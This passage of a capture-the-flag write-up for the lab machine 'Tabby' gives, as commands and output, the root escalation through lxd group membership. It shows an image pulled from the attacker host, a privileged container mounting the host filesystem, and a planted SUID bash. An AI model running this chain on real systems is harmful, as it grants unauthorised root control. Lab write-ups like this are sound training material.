LXC / LXD
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
The ash
user has a membership to the lxd
group
While this was initially enumerated earlier, and also picked up by PEAS at a later stage, it could not be exploited as I did not have access to the ash
user
Now that I have compromised the ash
user, I could move forward to it
Building the Image
┌──(kali㉿kali)-[~/…/htb/labs/tabby/lxd]
└─$ git clone https://github.com/saghul/lxd-alpine-builder ; cd lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42
Receiving objects: 100% (50/50), 3.11 MiB | 12.21 MiB/s, done.
Resolving deltas: 100% (15/15), done.
Downloading the lxd-alpine-builder to Kali
┌──(kali㉿kali)-[~/…/labs/tabby/lxd/lxd-alpine-builder]
└─$ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
┌──(kali㉿kali)-[~/…/labs/tabby/lxd/lxd-alpine-builder]
└─$ sudo ./build-alpine -a i686
Determining the latest release... v3.8
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.8/main/x86
Downloading alpine-keys-2.1-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.6-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-mirrors-3.5.9-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2653 100 2653 0 0 2930 0 --:--:-- --:--:-- --:--:-- 2931
--2023-09-23 14:53:42-- http://alpine.mirror.wearetriple.com/MIRRORS.txt
Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.106, 2a00:1f00:dc06:10::106
Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2653 (2.6K) [text/plain]
Saving to: ‘/home/kali/archive/htb/labs/tabby/lxd/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’
/home/kali/archive/htb/labs/tabby 100%[=============================================================>] 2.59K --.-KB/s in 0s
2023-09-23 14:53:42 (404 MB/s) - ‘/home/kali/archive/htb/labs/tabby/lxd/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [2653/2653]
Selecting mirror http://mirror.vinehost.net/alpine//v3.8/main
fetch http://mirror.vinehost.net/alpine//v3.8/main/x86/APKINDEX.tar.gz
(1/18) Installing musl (1.1.19-r11)
(2/18) Installing busybox (1.28.4-r3)
Executing busybox-1.28.4-r3.post-install
(3/18) Installing alpine-baselayout (3.1.0-r0)
Executing alpine-baselayout-3.1.0-r0.pre-install
Executing alpine-baselayout-3.1.0-r0.post-install
(4/18) Installing openrc (0.35.5-r5)
Executing openrc-0.35.5-r5.post-install
(5/18) Installing alpine-conf (3.8.0-r0)
(6/18) Installing libressl2.7-libcrypto (2.7.5-r0)
(7/18) Installing libressl2.7-libssl (2.7.5-r0)
(8/18) Installing libressl2.7-libtls (2.7.5-r0)
(9/18) Installing ssl_client (1.28.4-r3)
(10/18) Installing zlib (1.2.11-r1)
(11/18) Installing apk-tools (2.10.6-r0)
(12/18) Installing busybox-suid (1.28.4-r3)
(13/18) Installing busybox-initscripts (3.1-r4)
Executing busybox-initscripts-3.1-r4.post-install
(14/18) Installing scanelf (1.2.3-r0)
(15/18) Installing musl-utils (1.1.19-r11)
(16/18) Installing libc-utils (0.7.1-r0)
(17/18) Installing alpine-keys (2.1-r1)
(18/18) Installing alpine-base (3.8.5-r0)
Executing busybox-1.28.4-r3.trigger
OK: 7 MiB in 18 packages
Building the image
ash@tabby:~$ wget -q http://10.10.16.5/lxd/lxd-alpine-builder/alpine-v3.8-i686-20230923_1453.tar.gz
Transferring the built image to the home directory of the ash
user
Configuring the Container
ash@tabby:~$ lxc image import ./alpine-v3.8-i686-20230923_1453.tar.gz --alias myimage
if this is your first time running lxd on this machine, you should also run: lxd init
to start your first instance, try: lxc launch ubuntu:18.04
image imported with fingerprint: 89d381e0fa872793342e195cb91f880709cfabf2b7e79f59279794a7d5404d45
Importing the built image
ash@tabby:~$ lxd init
would you like to use lxd clustering? (yes/no) [default=no]:
do you want to configure a new storage pool? (yes/no) [default=yes]:
name of the new storage pool [default=default]:
name of the storage backend to use (btrfs, dir, lvm, zfs, ceph) [default=zfs]:
create a new zfs pool? (yes/no) [default=yes]:
would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
size in gb of the new loop device (1gb minimum) [default=5gb]:
would you like to connect to a maas server? (yes/no) [default=no]:
would you like to create a new local network bridge? (yes/no) [default=yes]:
what should the new bridge be called? [default=lxdbr0]:
what ipv4 address should be used? (cidr subnet notation, “auto” or “none”) [default=auto]:
what ipv6 address should be used? (cidr subnet notation, “auto” or “none”) [default=auto]:
would you like the lxd server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
would you like a yaml "lxd init" preseed to be printed? (yes/no) [default=no]:
Initializing lxd with default options
ash@tabby:~$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
Creating a container with the imported image
It’s important to provide the security.privileged=true
flag
ash@tabby:~$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
Now, mounting the host filesystem into the /mnt/root
directory
Inside the Container
ash@tabby:~$ lxc start mycontainer ; lxc exec mycontainer /bin/sh
Starting and entering into the configured container
~ # cd /mnt/root ; ls -lasht
total 73
0 drwxr-xr-x 3 root root 3 Sep 23 12:58 ..
4 drwxr-xr-x 2 root root 4.0K Sep 23 12:55 media
4 drwxrwxrwt 14 root root 4.0K Sep 23 12:39 tmp
0 drwxr-xr-x 27 root root 820 Sep 23 12:09 run
0 drwxr-xr-x 17 root root 3.8K Sep 23 08:18 dev
0 dr-xr-xr-x 13 root root 0 Sep 23 08:18 sys
0 dr-xr-xr-x 307 root root 0 Sep 23 08:18 proc
4 drwxr-xr-x 20 root root 4.0K Sep 7 2021 .
4 drwxr-xr-x 100 root root 4.0K Sep 7 2021 etc
4 drwxr-xr-x 7 root root 4.0K Sep 7 2021 snap
4 drwxr-xr-x 3 root root 4.0K Aug 19 2021 boot
4 drwxr-xr-x 2 root root 4.0K Aug 19 2021 cdrom
4 drwxr-xr-x 3 root root 4.0K Aug 19 2021 home
4 drwxr-xr-x 2 root root 4.0K Aug 19 2021 mnt
4 drwxr-xr-x 3 root root 4.0K Aug 19 2021 opt
4 drwx------ 6 root root 4.0K Aug 19 2021 root
4 drwxr-xr-x 2 root root 4.0K Aug 19 2021 srv
4 drwxr-xr-x 14 root root 4.0K Aug 19 2021 var
16 drwx------ 2 root root 16.0K May 19 2020 lost+found
4 drwxr-xr-x 14 root root 4.0K Apr 23 2020 usr
0 lrwxrwxrwx 1 root root 7 Apr 23 2020 bin -> usr/bin
0 lrwxrwxrwx 1 root root 7 Apr 23 2020 lib -> usr/lib
0 lrwxrwxrwx 1 root root 9 Apr 23 2020 lib32 -> usr/lib32
0 lrwxrwxrwx 1 root root 9 Apr 23 2020 lib64 -> usr/lib64
0 lrwxrwxrwx 1 root root 10 Apr 23 2020 libx32 -> usr/libx32
0 lrwxrwxrwx 1 root root 8 Apr 23 2020 sbin -> usr/sbin
This is the host filesystem attached to the newly created container at the /mnt/root
directory
SUID bash
/mnt/root # cp bin/bash home/ash/root ; chmod +s home/ash/root ; exit
Creating a SUID bash and exiting out of the container
The SUID bash,
root
, is now available at the home directory of the ash
user
ash@tabby:~$ ./root -p
root-5.0# whoami
root
root-5.0# hostname
tabby
root-5.0# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.194 netmask 255.255.255.0 broadcast 10.10.10.255
ether 00:50:56:b9:7b:bb txqueuelen 1000 (Ethernet)
RX packets 2502823 bytes 409805927 (409.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2552644 bytes 1291320207 (1.2 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 24789 bytes 1929673 (1.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24789 bytes 1929673 (1.9 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lxdbr0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.219.239.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::216:3eff:fe96:99ed prefixlen 64 scopeid 0x20<link>
inet6 fd42:5a1c:7ce3:6a6c::1 prefixlen 64 scopeid 0x0<global>
ether 00:16:3e:96:99:ed txqueuelen 1000 (Ethernet)
RX packets 15 bytes 1516 (1.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22 bytes 3292 (3.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth05df50ac: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 9a:59:6f:92:8f:ff txqueuelen 1000 (Ethernet)
RX packets 15 bytes 1726 (1.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22 bytes 3292 (3.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise